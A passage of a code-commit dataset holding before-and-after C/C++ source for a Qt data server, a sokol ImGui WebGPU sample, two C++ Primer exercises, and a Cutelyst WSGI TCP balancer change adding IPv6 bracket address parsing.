saveFile.write(reply->readAll());\n    saveFile.close();\n    qDebug() << \"Data Bytes written: \" << bytesWritten << \" to: \" << speakerFilePath;\n\n    emit serverSuccess();\n    reply->deleteLater();\n}\n\nvoid DataServer::onFinishedVersion()\n{\n    QNetworkReply* reply = qobject_cast<QNetworkReply*>(sender());\n    if(!reply) {\n        qWarning() << \"Version REPLY is NULL\";\n        emit versionFailed(tr(\"No Network Reply\"));\n        return;\n    }\n    const qint64 available = reply->bytesAvailable();\n    if(available == 0) {\n        qWarning() << \"Version No Bytes received\";\n        emit versionFailed(tr(\"No Version Data received\"));\n        reply->deleteLater();\n        return;\n    }\n    int httpStatusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();\n    qDebug() << \"Version HTTP STATUS: \" << httpStatusCode << \" Bytes: \" << available;\n    if(httpStatusCode != 200) {\n        qDebug() << \"Version Status Code not 200\";\n        emit versionFailed(tr(\"No sucess getting Version from Server. Got HTTP Status \")+QString::number(httpStatusCode));\n        reply->deleteLater();\n        return;\n    }\n    emit versionSuccess(reply->readAll());\n    reply->deleteLater();\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/  imgui-wgpu.c\n\/\/\n\/\/  Test ImGui rendering, no input handling!\n\/\/------------------------------------------------------------------------------\n#define SOKOL_IMPL\n#define SOKOL_WGPU\n#include \"sokol_gfx.h\"\n#include \"sokol_time.h\"\n#include \"imgui.h\"\n#define SOKOL_IMGUI_IMPL\n#define SOKOL_IMGUI_NO_SOKOL_APP\n#include \"sokol_imgui.h\"\n#include \"wgpu_entry.h\"\n\nstatic struct {\n    sg_pass_action pass_action;\n    uint64_t last_time = 0;\n    bool show_test_window = true;\n    bool show_another_window = false;\n} state;\n\n\nstatic void init(void) {\n    \/\/ setup sokol-gfx, sokol-time and sokol-imgui\n    sg_desc desc = { };\n    desc.wgpu_device = wgpu_device(),\n    desc.wgpu_swapchain_format = wgpu_swapchain_format(),\n    desc.wgpu_swapchain_render_view_cb = wgpu_swapchain_render_view,\n    desc.wgpu_swapchain_resolve_view_cb = wgpu_swapchain_resolve_view,\n    desc.wgpu_swapchain_depth_stencil_view_cb = wgpu_swapchain_depth_stencil_view,\n    sg_setup(&desc);\n    stm_setup();\n\n    \/\/ use sokol-imgui with all default-options (we're not doing\n    \/\/ multi-sampled rendering or using non-default pixel formats)\n    simgui_desc_t simgui_desc = { };\n    simgui_setup(&simgui_desc);\n\n    \/\/ initial clear color\n    state.pass_action.colors[0].action = SG_ACTION_CLEAR;\n    state.pass_action.colors[0].val[0] = 0.0f;\n    state.pass_action.colors[0].val[1] = 0.5f;\n    state.pass_action.colors[0].val[2] = 0.7f;\n    state.pass_action.colors[0].val[3] = 1.0f;\n}\n\nstatic void frame(void) {\n    const int width = wgpu_width();\n    const int height = wgpu_height();\n    const double delta_time = stm_sec(stm_laptime(&state.last_time));\n    simgui_new_frame(width, height, delta_time);\n\n    \/\/ 1. Show a simple window\n    \/\/ Tip: if we don't call ImGui::Begin()\/ImGui::End() the widgets appears in a window automatically called \"Debug\"\n    static float f = 0.0f;\n    ImGui::Text(\"Hello, world!\");\n    ImGui::SliderFloat(\"float\", &f, 0.0f, 1.0f);\n    ImGui::ColorEdit3(\"clear color\", &state.pass_action.colors[0].val[0]);\n    if (ImGui::Button(\"Test Window\")) state.show_test_window ^= 1;\n    if (ImGui::Button(\"Another Window\")) state.show_another_window ^= 1;\n    ImGui::Text(\"Application average %.3f ms\/frame (%.1f FPS)\", 1000.0f \/ ImGui::GetIO().Framerate, ImGui::GetIO().Framerate);\n\n    \/\/ 2. Show another simple window, this time using an explicit Begin\/End pair\n    if (state.show_another_window) {\n        ImGui::SetNextWindowSize(ImVec2(200,100), ImGuiCond_FirstUseEver);\n        ImGui::Begin(\"Another Window\", &state.show_another_window);\n        ImGui::Text(\"Hello\");\n        ImGui::End();\n    }\n\n    \/\/ 3. Show the ImGui test window. Most of the sample code is in ImGui::ShowTestWindow()\n    if (state.show_test_window) {\n        ImGui::SetNextWindowPos(ImVec2(460, 20), ImGuiCond_FirstUseEver);\n        ImGui::ShowTestWindow();\n    }\n\n    \/\/ the sokol_gfx draw pass\n    sg_begin_default_pass(&state.pass_action, width, height);\n    simgui_render();\n    sg_end_pass();\n    sg_commit();\n}\n\nstatic void shutdown(void) {\n    simgui_shutdown();\n    sg_shutdown();\n}\n\nint main() {\n    wgpu_desc_t desc = { };\n    desc.init_cb = init;\n    desc.frame_cb = frame;\n    desc.shutdown_cb = shutdown;\n    desc.width = 1024;\n    desc.height = 768;\n    desc.title = \"imgui-wgpu\";\n    wgpu_start(&desc);\n    return 0;\n}\n<commit_msg>imgui-wgpu sample tweaks<commit_after>\/\/------------------------------------------------------------------------------\n\/\/  imgui-wgpu.c\n\/\/\n\/\/  Test ImGui rendering, no input handling!\n\/\/------------------------------------------------------------------------------\n#define SOKOL_IMPL\n#define SOKOL_WGPU\n#include \"sokol_gfx.h\"\n#include \"sokol_time.h\"\n#include \"imgui.h\"\n#define SOKOL_IMGUI_IMPL\n#define SOKOL_IMGUI_NO_SOKOL_APP\n#include \"sokol_imgui.h\"\n#include \"wgpu_entry.h\"\n\nstatic struct {\n    sg_pass_action pass_action;\n    uint64_t last_time = 0;\n    bool show_test_window = true;\n    bool show_another_window = false;\n} state;\n\n\nstatic void init(void) {\n    \/\/ setup sokol-gfx, sokol-time and sokol-imgui\n    sg_desc desc = { };\n    desc.wgpu_device = wgpu_device(),\n    desc.wgpu_swapchain_format = wgpu_swapchain_format(),\n    desc.wgpu_swapchain_render_view_cb = wgpu_swapchain_render_view,\n    desc.wgpu_swapchain_resolve_view_cb = wgpu_swapchain_resolve_view,\n    desc.wgpu_swapchain_depth_stencil_view_cb = wgpu_swapchain_depth_stencil_view,\n    sg_setup(&desc);\n    stm_setup();\n\n    \/\/ use sokol-imgui with all default-options (we're not doing\n    \/\/ multi-sampled rendering or using non-default pixel formats)\n    simgui_desc_t simgui_desc = { };\n    simgui_setup(&simgui_desc);\n\n    \/\/ initial clear color\n    state.pass_action.colors[0].action = SG_ACTION_CLEAR;\n    state.pass_action.colors[0].val[0] = 0.0f;\n    state.pass_action.colors[0].val[1] = 0.5f;\n    state.pass_action.colors[0].val[2] = 0.7f;\n    state.pass_action.colors[0].val[3] = 1.0f;\n}\n\nstatic void frame(void) {\n    const int width = wgpu_width();\n    const int height = wgpu_height();\n    const double delta_time = stm_sec(stm_laptime(&state.last_time));\n    simgui_new_frame(width, height, delta_time);\n\n    \/\/ 1. Show a simple window\n    \/\/ Tip: if we don't call ImGui::Begin()\/ImGui::End() the widgets appears in a window automatically called \"Debug\"\n    static float f = 0.0f;\n    ImGui::Text(\"Hello, world!\");\n    ImGui::SliderFloat(\"float\", &f, 0.0f, 1.0f);\n    ImGui::ColorEdit3(\"clear color\", &state.pass_action.colors[0].val[0]);\n    if (ImGui::Button(\"Test Window\")) state.show_test_window ^= 1;\n    if (ImGui::Button(\"Another Window\")) state.show_another_window ^= 1;\n    ImGui::Text(\"Application average %.3f ms\/frame (%.1f FPS)\", 1000.0f \/ ImGui::GetIO().Framerate, ImGui::GetIO().Framerate);\n\n    \/\/ 2. Show another simple window, this time using an explicit Begin\/End pair\n    if (state.show_another_window) {\n        ImGui::SetNextWindowSize(ImVec2(200,100), ImGuiCond_Once);\n        ImGui::Begin(\"Another Window\", &state.show_another_window);\n        ImGui::Text(\"Hello\");\n        ImGui::End();\n    }\n\n    \/\/ 3. Show the ImGui test window. Most of the sample code is in ImGui::ShowTestWindow()\n    if (state.show_test_window) {\n        ImGui::ShowTestWindow();\n    }\n\n    \/\/ the sokol_gfx draw pass\n    sg_begin_default_pass(&state.pass_action, width, height);\n    simgui_render();\n    sg_end_pass();\n    sg_commit();\n}\n\nstatic void shutdown(void) {\n    simgui_shutdown();\n    sg_shutdown();\n}\n\nint main() {\n    wgpu_desc_t desc = { };\n    desc.init_cb = init;\n    desc.frame_cb = frame;\n    desc.shutdown_cb = shutdown;\n    desc.width = 1024;\n    desc.height = 768;\n    desc.title = \"imgui-wgpu\";\n    wgpu_start(&desc);\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <vector>\n\nusing std::cout; using std::vector;\n\nbool is_prefix(vector<int> const& lhs, vector<int> const& rhs)\n{\n    if(lhs.size() > rhs.size())\n        is_prefix(rhs, lhs);\n    for(unsigned i = 0; i != lhs.size(); ++i)\n        if(lhs[i] != rhs[i]) return false;\n    return true;\n}\n\nint main()\n{\n    vector<int> l{ 0, 1, 1, 2 };\n    vector<int> r{ 0, 1, 1, 2, 3, 5, 8 };\n    cout << (is_prefix(r, l) ? \"yes\\n\" : \"no\\n\");\n\n    return 0;\n}\n\n<commit_msg>update ch05 ex5.17<commit_after>#include <iostream>\n#include <vector>\n\nusing std::cout; using std::vector;\n\nbool is_prefix(vector<int> const& lhs, vector<int> const& rhs)\n{\n    if(lhs.size() > rhs.size())\n        return is_prefix(rhs, lhs);\n    for(unsigned i = 0; i != lhs.size(); ++i)\n        if(lhs[i] != rhs[i]) return false;\n    return true;\n}\n\nint main()\n{\n    vector<int> l{ 0, 1, 1, 2 };\n    vector<int> r{ 0, 1, 1, 2, 3, 5, 8 };\n    cout << (is_prefix(r, l) ? \"yes\\n\" : \"no\\n\");\n\n    return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/! @Alan\n\/\/!\n\/\/! Exercise 6.21:\n\/\/! Write a function that takes an int and a pointer to an int and\n\/\/! returns the larger of the int value or the value to which the\n\/\/! pointer points. What type should you use for the pointer?\n\/\/!\n\n#include <iostream>\nusing std::cout;\n\nint LargerOne(const int i, const int* ip)\n{\n    return (i > *ip) ? i : *ip;\n}\n\nint main()\n{\n    int c = 6;\n    cout << LargerOne(7, &c);\n\n    return 0;\n}\n<commit_msg>Update ex6_21.cpp<commit_after>\/\/! @Alan\n\/\/!\n\/\/! Exercise 6.21:\n\/\/! Write a function that takes an int and a pointer to an int and\n\/\/! returns the larger of the int value or the value to which the\n\/\/! pointer points. What type should you use for the pointer?\n\/\/!\n\n#include <iostream>\nusing std::cout;\n\nint largerOne(const int i, const int* ip)\n{\n    return ((i > *ip) ? i : *ip);\n}\n\nint main()\n{\n    int c = 6;\n    cout << largerOne(7, &c);\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2017 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n#include \"tcpserverbalancer.h\"\n\n#include \"wsgi.h\"\n#include \"cwsgiengine.h\"\n#include \"tcpserver.h\"\n#include \"tcpsslserver.h\"\n\n#include <QFile>\n#include <QLoggingCategory>\n\n#include <QSslKey>\n\n#include <iostream>\n\n#ifdef Q_OS_LINUX\n#include <arpa\/inet.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <fcntl.h>\n#endif\n\n\nQ_LOGGING_CATEGORY(CWSGI_BALANCER, \"wsgi.tcp_server_balancer\")\n\nusing namespace CWSGI;\n\n#ifdef Q_OS_LINUX\nint listenReuse(const QHostAddress &address, quint16 port, bool startListening);\n#endif\n\nTcpServerBalancer::TcpServerBalancer(WSGI *wsgi) : QTcpServer(wsgi)\n  , m_wsgi(wsgi)\n{\n}\n\nTcpServerBalancer::~TcpServerBalancer()\n{\n    delete m_sslConfiguration;\n}\n\nbool TcpServerBalancer::listen(const QString &line, Protocol *protocol, bool secure)\n{\n    m_protocol = protocol;\n\n    int commaPos = line.indexOf(QLatin1Char(','));\n    const QString addressPortString = line.mid(0, commaPos);\n    const QString addressString = addressPortString.section(QLatin1Char(':'), 0, -2);\n    const QString portString = addressPortString.section(QLatin1Char(':'), -1);\n\n    QHostAddress address;\n    if (addressString.isEmpty()) {\n        address = QHostAddress(QHostAddress::Any);\n    } else {\n        address.setAddress(addressString);\n    }\n\n    bool ok;\n    quint16 port = portString.toUInt(&ok);\n    if (!ok || (port < 1 && port > 35554)) {\n        port = 80;\n    }\n\n    if (secure) {\n        if (commaPos == -1) {\n            std::cerr << \"No SSL certificate specified\" << std::endl;\n            exit(1);\n        }\n\n        const QString sslString = line.mid(commaPos + 1);\n        const QString certPath = sslString.section(QLatin1Char(','), 0, 0);\n        QFile certFile(certPath);\n        if (!certFile.open(QFile::ReadOnly)) {\n            std::cerr << \"Failed to open SSL certificate\" << qPrintable(certPath)\n                      << qPrintable(certFile.errorString()) << std::endl;\n            exit(1);\n        }\n        QSslCertificate cert(&certFile);\n        if (cert.isNull()) {\n            std::cerr << \"Failed to parse SSL certificate\" << std::endl;\n            exit(1);\n        }\n\n        const QString keyPath = sslString.section(QLatin1Char(','), 1, 1);\n        QFile keyFile(keyPath);\n        if (!keyFile.open(QFile::ReadOnly)) {\n            std::cerr << \"Failed to open SSL private key\" << qPrintable(keyPath)\n                      << qPrintable(keyFile.errorString()) << std::endl;\n            exit(1);\n        }\n        QSslKey key(&keyFile, QSsl::Rsa);\n        if (key.isNull()) {\n            std::cerr << \"Failed to parse SSL private key\" << std::endl;\n            exit(1);\n        }\n\n        m_sslConfiguration = new QSslConfiguration;\n        m_sslConfiguration->setLocalCertificate(cert);\n        m_sslConfiguration->setPrivateKey(key);\n        if (m_wsgi->httpsH2()) {\n            m_sslConfiguration->setAllowedNextProtocols({ QByteArrayLiteral(\"h2\") });\n        }\n    }\n\n    m_address = address;\n    m_port = port;\n\n    bool reusePort = false;\n#ifdef Q_OS_LINUX\n    reusePort = m_wsgi->reusePort();\n#endif\n    if (reusePort) {\n#ifdef Q_OS_LINUX\n        int socket = listenReuse(address, port, false);\n        if (socket > 0) {\n            setSocketDescriptor(socket);\n            pauseAccepting();\n        } else {\n            std::cerr << \"Failed to listen on TCP: \" << qPrintable(line)\n                      << \" : \" << qPrintable(errorString()) << std::endl;\n            exit(1);\n        }\n#endif\n    } else {\n        bool ret = QTcpServer::listen(address, port);\n        if (ret) {\n            pauseAccepting();\n        } else {\n            std::cerr << \"Failed to listen on TCP: \" << qPrintable(line)\n                      << \" : \" << qPrintable(errorString()) << std::endl;\n            exit(1);\n        }\n    }\n\n    m_serverName = serverAddress().toString() + QLatin1Char(':') + QString::number(port);\n    return true;\n}\n\n#ifdef Q_OS_LINUX\n\/\/ UnixWare 7 redefines socket -> _socket\nstatic inline int qt_safe_socket(int domain, int type, int protocol, int flags = 0)\n{\n    Q_ASSERT((flags & ~O_NONBLOCK) == 0);\n\n    int fd;\n#ifdef QT_THREADSAFE_CLOEXEC\n    int newtype = type | SOCK_CLOEXEC;\n    if (flags & O_NONBLOCK)\n        newtype |= SOCK_NONBLOCK;\n    fd = ::socket(domain, newtype, protocol);\n    return fd;\n#else\n    fd = ::socket(domain, type, protocol);\n    if (fd == -1)\n        return -1;\n\n    ::fcntl(fd, F_SETFD, FD_CLOEXEC);\n\n    \/\/ set non-block too?\n    if (flags & O_NONBLOCK)\n        ::fcntl(fd, F_SETFL, ::fcntl(fd, F_GETFL) | O_NONBLOCK);\n\n    return fd;\n#endif\n}\n\nint createNewSocket(QAbstractSocket::NetworkLayerProtocol &socketProtocol)\n{\n    int protocol = 0;\n\n    int domain = (socketProtocol == QAbstractSocket::IPv6Protocol\n                  || socketProtocol == QAbstractSocket::AnyIPProtocol) ? AF_INET6 : AF_INET;\n    int type = SOCK_STREAM;\n\n    int socket = qt_safe_socket(domain, type, protocol, O_NONBLOCK);\n    if (socket < 0 && socketProtocol == QAbstractSocket::AnyIPProtocol && errno == EAFNOSUPPORT) {\n        domain = AF_INET;\n        socket = qt_safe_socket(domain, type, protocol, O_NONBLOCK);\n        socketProtocol = QAbstractSocket::IPv4Protocol;\n    }\n\n    if (socket < 0) {\n        int ecopy = errno;\n        switch (ecopy) {\n        case EPROTONOSUPPORT:\n        case EAFNOSUPPORT:\n        case EINVAL:\n            qCDebug(CWSGI_BALANCER) << \"setError(QAbstractSocket::UnsupportedSocketOperationError, ProtocolUnsupportedErrorString)\";\n            break;\n        case ENFILE:\n        case EMFILE:\n        case ENOBUFS:\n        case ENOMEM:\n            qCDebug(CWSGI_BALANCER) << \"setError(QAbstractSocket::SocketResourceError, ResourceErrorString)\";\n            break;\n        case EACCES:\n            qCDebug(CWSGI_BALANCER) << \"setError(QAbstractSocket::SocketAccessError, AccessErrorString)\";\n            break;\n        default:\n            break;\n        }\n\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n        qCDebug(CWSGI_BALANCER, \"QNativeSocketEnginePrivate::createNewSocket(%d, %d) == false (%s)\",\n                socketType, socketProtocol,\n                strerror(ecopy));\n#endif\n\n        return false;\n    }\n\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n    qCDebug(CWSGI_BALANCER, \"QNativeSocketEnginePrivate::createNewSocket(%d, %d) == true\",\n            socketType, socketProtocol);\n#endif\n\n    return socket;\n}\n\nunion qt_sockaddr {\n    sockaddr a;\n    sockaddr_in a4;\n    sockaddr_in6 a6;\n};\n\n#  define QT_SOCKLEN_T int\n#define QT_SOCKET_BIND          ::bind\n\nnamespace {\nnamespace SetSALen {\n    template <typename T> void set(T *sa, typename std::enable_if<(&T::sa_len, true), QT_SOCKLEN_T>::type len)\n    { sa->sa_len = len; }\n    template <typename T> void set(T *sin6, typename std::enable_if<(&T::sin6_len, true), QT_SOCKLEN_T>::type len)\n    { sin6->sin6_len = len; }\n    template <typename T> void set(T *, ...) {}\n}\n}\n\nvoid setPortAndAddress(quint16 port, const QHostAddress &address, QAbstractSocket::NetworkLayerProtocol socketProtocol, qt_sockaddr *aa, int *sockAddrSize)\n{\n    if (address.protocol() == QAbstractSocket::IPv6Protocol\n        || address.protocol() == QAbstractSocket::AnyIPProtocol\n        || socketProtocol == QAbstractSocket::IPv6Protocol\n        || socketProtocol == QAbstractSocket::AnyIPProtocol) {\n        memset(&aa->a6, 0, sizeof(sockaddr_in6));\n        aa->a6.sin6_family = AF_INET6;\n\/\/#if QT_CONFIG(networkinterface)\n\/\/            aa->a6.sin6_scope_id = scopeIdFromString(address.scopeId());\n\/\/#endif\n        aa->a6.sin6_port = htons(port);\n        Q_IPV6ADDR tmp = address.toIPv6Address();\n        memcpy(&aa->a6.sin6_addr, &tmp, sizeof(tmp));\n        *sockAddrSize = sizeof(sockaddr_in6);\n        SetSALen::set(&aa->a, sizeof(sockaddr_in6));\n    } else {\n        memset(&aa->a, 0, sizeof(sockaddr_in));\n        aa->a4.sin_family = AF_INET;\n        aa->a4.sin_port = htons(port);\n        aa->a4.sin_addr.s_addr = htonl(address.toIPv4Address());\n        *sockAddrSize = sizeof(sockaddr_in);\n        SetSALen::set(&aa->a, sizeof(sockaddr_in));\n    }\n}\n\nbool nativeBind(int socketDescriptor, const QHostAddress &address, quint16 port)\n{\n    qt_sockaddr aa;\n    int sockAddrSize;\n    setPortAndAddress(port, address, address.protocol(), &aa, &sockAddrSize);\n\n#ifdef IPV6_V6ONLY\n    if (aa.a.sa_family == AF_INET6) {\n        int ipv6only = 0;\n        if (address.protocol() == QAbstractSocket::IPv6Protocol)\n            ipv6only = 1;\n        \/\/default value of this socket option varies depending on unix variant (or system configuration on BSD), so always set it explicitly\n        ::setsockopt(socketDescriptor, IPPROTO_IPV6, IPV6_V6ONLY, (char*)&ipv6only, sizeof(ipv6only) );\n    }\n#endif\n\n    int bindResult = ::bind(socketDescriptor, &aa.a, sockAddrSize);\n    if (bindResult < 0 && errno == EAFNOSUPPORT && address.protocol() == QAbstractSocket::AnyIPProtocol) {\n        \/\/ retry with v4\n        aa.a4.sin_family = AF_INET;\n        aa.a4.sin_port = htons(port);\n        aa.a4.sin_addr.s_addr = htonl(address.toIPv4Address());\n        sockAddrSize = sizeof(aa.a4);\n        bindResult = QT_SOCKET_BIND(socketDescriptor, &aa.a, sockAddrSize);\n    }\n\n    if (bindResult < 0) {\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n        int ecopy = errno;\n#endif\n\/\/        switch(errno) {\n\/\/        case EADDRINUSE:\n\/\/            setError(QAbstractSocket::AddressInUseError, AddressInuseErrorString);\n\/\/            break;\n\/\/        case EACCES:\n\/\/            setError(QAbstractSocket::SocketAccessError, AddressProtectedErrorString);\n\/\/            break;\n\/\/        case EINVAL:\n\/\/            setError(QAbstractSocket::UnsupportedSocketOperationError, OperationUnsupportedErrorString);\n\/\/            break;\n\/\/        case EADDRNOTAVAIL:\n\/\/            setError(QAbstractSocket::SocketAddressNotAvailableError, AddressNotAvailableErrorString);\n\/\/            break;\n\/\/        default:\n\/\/            break;\n\/\/        }\n\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n        qCDebug(CWSGI_BALANCER, \"QNativeSocketEnginePrivate::nativeBind(%s, %i) == false (%s)\",\n                address.toString().toLatin1().constData(), port, strerror(ecopy));\n#endif\n\n        return false;\n    }\n\n#if defined (QNATIVESOCKETENGINE_DEBUG)\n    qCDebug(CWSGI_BALANCER, \"QNativeSocketEnginePrivate::nativeBind(%s, %i) == true\",\n            address.toString().toLatin1().constData(), port);\n#endif\n\/\/    socketState = QAbstractSocket::BoundState;\n    return true;\n}\n\nint listenReuse(const QHostAddress &address, quint16 port, bool startListening)\n{\n    QAbstractSocket::NetworkLayerProtocol proto = address.protocol();\n\n    int socket = createNewSocket(proto);\n    if (socket < 0) {\n        qCCritical(CWSGI_BALANCER) << \"Failed to create new socket\";\n        return -1;\n    }\n\n    int optval = 1;\n    if (::setsockopt(socket, SOL_SOCKET, SO_REUSEPORT, &optval, sizeof(optval))) {\n        qCCritical(CWSGI_BALANCER) << \"Failed to set SO_REUSEPORT on socket\" << socket;\n        return -1;\n    }\n\n    if (!nativeBind(socket, address, port)) {\n        qCCritical(CWSGI_BALANCER) << \"Failed to bind to socket\" << socket;\n        return -1;\n    }\n\n    if (startListening && ::listen(socket, 100) < 0) {\n        qCCritical(CWSGI_BALANCER) << \"Failed to listen to socket\" << socket;\n        return -1;\n    }\n\n    return socket;\n}\n#endif \/\/ Q_OS_LINUX\n\nvoid TcpServerBalancer::setBalancer(bool enable)\n{\n    m_balancer = enable;\n}\n\nvoid TcpServerBalancer::incomingConnection(qintptr handle)\n{\n    TcpServer *serverIdle = m_servers.at(m_currentServer++ % m_servers.size());\n\n    serverIdle->createConnection(handle);\n}\n\nTcpServer *TcpServerBalancer::createServer(CWsgiEngine *engine)\n{\n    TcpServer *server;\n    if (m_sslConfiguration) {\n        auto sslServer = new TcpSslServer(m_serverName, m_protocol, m_wsgi, engine);\n        sslServer->setSslConfiguration(*m_sslConfiguration);\n        server = sslServer;\n    } else {\n        server = new TcpServer(m_serverName, m_protocol, m_wsgi, engine);\n    }\n    connect(engine, &CWsgiEngine::shutdown, server, &TcpServer::shutdown);\n\n    if (m_balancer) {\n        connect(engine, &CWsgiEngine::started, this, [=] () {\n            m_servers.push_back(server);\n            resumeAccepting();\n        }, Qt::QueuedConnection);\n        connect(server, &TcpServer::createConnection, server, &TcpServer::incomingConnection, Qt::QueuedConnection);\n    } else {\n\n#ifdef Q_OS_LINUX\n        if (m_wsgi->reusePort()) {\n            connect(engine, &CWsgiEngine::started, this, [=] () {\n                int socket = listenReuse(m_address, m_port, true);\n                if (!server->setSocketDescriptor(socket)) {\n                    qFatal(\"Failed to set server socket descriptor, reuse-port\");\n                }\n            }, Qt::DirectConnection);\n            return server;\n        }\n#endif\n\n        if (server->setSocketDescriptor(socketDescriptor())) {\n            server->pauseAccepting();\n            connect(engine, &CWsgiEngine::started, server, &TcpServer::resumeAccepting, Qt::DirectConnection);\n        } else {\n            qFatal(\"Failed to set server socket descriptor\");\n        }\n    }\n\n    return server;\n}\n\n#include \"moc_tcpserverbalancer.cpp\"\n<commit_msg>wsgi: Add support for brackets in IPv6 socket string as of RFC 2732<commit_after>\/*\n * Copyright (C) 2017 Daniel Nicoletti <dantti12@gmail.com>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n#include \"tcpserverbalancer.h\"\n\n#include \"wsgi.h\"\n#include \"cwsgiengine.h\"\n#include \"tcpserver.h\"\n#include \"tcpsslserver.h\"\n\n#include <QFile>\n#include <QLoggingCategory>\n\n#include <QSslKey>\n\n#include <iostream>\n\n#ifdef Q_OS_LINUX\n#include <arpa\/inet.h>\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <fcntl.h>\n#endif\n\n\nQ_LOGGING_CATEGORY(CWSGI_BALANCER, \"wsgi.tcp_server_balancer\")\n\nusing namespace CWSGI;\n\n#ifdef Q_OS_LINUX\nint listenReuse(const QHostAddress &address, quint16 port, bool startListening);\n#endif\n\nTcpServerBalancer::TcpServerBalancer(WSGI *wsgi) : QTcpServer(wsgi)\n  , m_wsgi(wsgi)\n{\n}\n\nTcpServerBalancer::~TcpServerBalancer()\n{\n    delete m_sslConfiguration;\n}\n\nbool TcpServerBalancer::listen(const QString &line, Protocol *protocol, bool secure)\n{\n    m_protocol = protocol;\n\n    int commaPos = line.indexOf(QLatin1Char(','));\n    const QString addressPortString = line.mid(0, commaPos);\n\n    QString addressString;\n    int closeBracketPos = addressPortString.indexOf(QLatin1Char(']'));\n    if (closeBracketPos != -1) {\n        if (!line.startsWith(QLatin1Char('['))) {\n            std::cerr << \"Failed to parse address: \" << qPrintable(addressPortString) << std::endl;\n            exit(1);\n        }\n        addressString = addressPortString.mid(1, closeBracketPos - 1);\n    } else {\n        addressString = addressPortString.section(QLatin1Char(':'), 0, -2);\n    }\n    const QString portString = addressPortString.section(QLatin1Char(':'), -1);\n\n    QHostAddress address;\n    if (addressString.isEmpty()) {\n        address = QHostAddress(QHostAddress::Any);\n    } else {\n        address.setAddress(addressString);\n    }\n\n    bool ok;\n    quint16 port = portString.toUInt(&ok);\n    if (!ok || (port < 1 && port > 35554)) {\n        port = 80;\n    }\n\n    if (secure) {\n        if (commaPos == -1) {\n            std::cerr << \"No SSL certificate specified\" << std::endl;\n            exit(1);\n        }\n\n        const QString sslString = line.mid(commaPos + 1);\n        const QString certPath = sslString.section(QLatin1Char(','), 0, 0);\n        QFile certFile(certPath);\n        if (!certFile.open(QFile::ReadOnly)) {\n            std::cerr << \"Failed to open SSL certificate\" << qPrintable(certPath)\n                      << qPrintable(certFile.errorString()) << std::endl;\n            exit(1);\n        }\n        QSslCertificate cert(&certFile);\n        if (cert.isNull()) {\n            std::cerr << \"Failed to parse SSL certificate\" << std::endl;\n            exit(1);\n        }\n\n        const QString keyPath = sslString.section(QLatin1Char(','), 1, 1);\n        QFile keyFile(keyPath);\n        if (!keyFile.open(QFile::ReadOnly)) {\n            std::cerr << \"Failed to open SSL private key\" << qPrintable(keyPath)\n                      << qPrintable(keyFile.errorString()) << std::endl;\n            exit(1);\n        }\n        QSslKey key(&keyFile, QSsl::Rsa);\n        if (key.isNull()) {\n            std::cerr << \"Failed to parse SSL private key\" << std::endl;\n            exit(1);\n        }\n\n        m_sslConfiguration = new QSslConfiguration;\n        m_sslConfiguration->setLocalCertificate(cert);\n        m_sslConfiguration->setPrivateKey(key);\n        if (m_wsgi->httpsH2()) {\n            m_sslConfiguration->setAllowedNextProtocols({ QByteArrayLiteral(\"h2\") });\n        }\n    }\n\n    m_address = address;\n    m_port = port;\n\n    bool reusePort = false;\n#ifdef Q_OS_LINUX\n    reusePort = m_wsgi->reusePort();\n#endif\n    if (reusePort) {\n#ifdef Q_OS_LINUX\n        int socket = listenReuse(address, port, false);\n        if (socket > 0) {\n            setSocketDescriptor(socket);\n            pauseAccepting();\n        } else {\n            std::cerr << \"Failed to listen on TCP: \" << qPrintable(line)\n                      << \" : \" << qPrintable(errorString()) << std::endl;\n            exit(1);\n        }\n#endif\n    } else {\n        bool ret = QTcpServer::listen(address, port);\n        if (ret) {\n            pauseAccepting();\n        } else {\n            std::cerr << \"Failed to listen on TCP: \" << qPrintable(line)\n                      << \" : \" << qPrintable(errorString()) << std::endl;\n            exit(1);\n        }\n    }\n\n    m_serverName = serverAddress().toString() + QLatin1Char(':') + QString::number(port);\n    return true;\n}\n\n#ifdef Q_OS_LINUX\n\/\/ UnixWare 7 redefines socket -> _socket\nstatic inline int qt_safe_socket(int domain, int type, int protocol, int flags = 0)\n{\n    Q_ASSERT((flags & ~O_NONBLOCK) == 0);\n\n    int fd;\n#ifdef QT_THREADSAFE_CLOEXEC\n    int newtype = type | SOCK_CLOEXEC;\n    if (flags & O_NONBLOCK)\n        newtype |= SOCK_NONBLOCK;\n    fd = ::socket(domain, newtype, protocol);\n    return fd;\n#else\n    fd = ::socket(domain, type, protocol);\n    if (fd == -1)\n        return -1;\n\n    ::fcntl(fd, F_SETFD, FD_CLOEXEC);\n\n    \/\/ set non-block too?\n    if (flags & O_NONBLOCK)\n        ::fcntl(fd, F_SETFL, 